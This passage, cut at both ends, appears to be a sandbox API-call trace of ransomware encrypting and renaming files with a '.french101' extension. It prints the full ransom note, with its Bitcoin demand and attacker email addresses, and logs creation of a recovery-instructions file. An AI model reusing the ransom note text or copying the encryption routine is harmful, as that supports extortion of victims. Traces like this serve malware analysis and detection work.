lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.115] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0270.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0270.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\я" (normalized: "c:\\588bce7c90097ed212\\1025\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.119] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0270.120] CloseHandle (hObject=0x398) returned 1 [0270.120] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\я" (normalized: "c:\\588bce7c90097ed212\\1025\\я")) returned 1 [0270.121] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0270.121] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0270.121] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0270.122] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0270.122] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x20) returned 1 [0270.123] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1d8f [0270.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=7567, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1d8f [0270.123] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0270.138] CloseHandle (hObject=0x398) returned 1 [0270.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1d90 [0270.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=7567, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1d8f [0270.140] SetEndOfFile (hFile=0x398) returned 1 [0270.142] CloseHandle (hObject=0x398) returned 1 [0270.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.142] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.142] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1d8f [0270.142] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.144] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.144] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.144] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1d8f [0270.144] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.144] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.145] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.145] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0270.145] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.145] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.145] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0270.145] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.146] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.146] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.146] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.146] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0270.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1d8f [0270.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0270.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=7567, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1d8f [0270.146] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0270.224] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0270.224] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.224] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.224] CloseHandle (hObject=0x398) returned 1 [0270.230] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\7J8z6r=FbrhnXjlmaUdH2k.french101" (normalized: "c:\\588bce7c90097ed212\\1025\\7j8z6r=fbrhnxjlmaudh2k.french101")) returned 1 [0270.231] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\7J8z6r=FbrhnXjlmaUdH2k.french101" (normalized: "c:\\588bce7c90097ed212\\1025\\7j8z6r=fbrhnxjlmaudh2k.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.231] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0270.232] CloseHandle (hObject=0x398) returned 1 [0270.232] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\7J8z6r=FbrhnXjlmaUdH2k.french101", dwFileAttributes=0x80) returned 1 [0270.232] CloseHandle (hObject=0x398) returned 0 [0270.232] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.232] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.232] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.233] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.233] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.233] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.233] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.233] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.233] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.233] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0270.233] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0270.233] GetLastError () returned 0x2 [0270.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1025\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.234] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0270.235] CloseHandle (hObject=0x398) returned 1 [0270.235] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.235] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.235] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.235] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0270.235] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0270.235] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.235] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0270.235] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.235] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0270.236] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.236] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.236] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.236] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.237] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0270.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0270.237] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0270.237] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0270.237] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0270.237] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0270.237] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0270.238] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.239] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.239] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x121e6 [0270.239] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.239] SetFilePointer (in: hFile=0x398, lDistanceToMove=74214, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x121e6 [0270.239] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0270.279] CloseHandle (hObject=0x398) returned 1 [0270.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.282] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.282] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x121e7 [0270.282] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0270.282] SetFilePointer (in: hFile=0x398, lDistanceToMove=74214, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x121e6 [0270.282] SetEndOfFile (hFile=0x398) returned 1 [0270.285] CloseHandle (hObject=0x398) returned 1 [0270.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.285] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.285] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x121e6 [0270.285] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0270.286] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.286] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.286] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.287] SetFilePointer (in: hFile=0x398, lDistanceToMove=43920, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xab90 [0270.287] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.287] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0270.287] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0270.287] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0270.287] GlobalUnlock (hMem=0x3f40014) returned 0 [0270.287] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0270.287] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.288] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.288] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.288] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.309] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0270.309] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.309] SetFilePointer (in: hFile=0x398, lDistanceToMove=43920, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xab90 [0270.309] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0270.309] SetFilePointer (in: hFile=0x398, lDistanceToMove=74214, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) 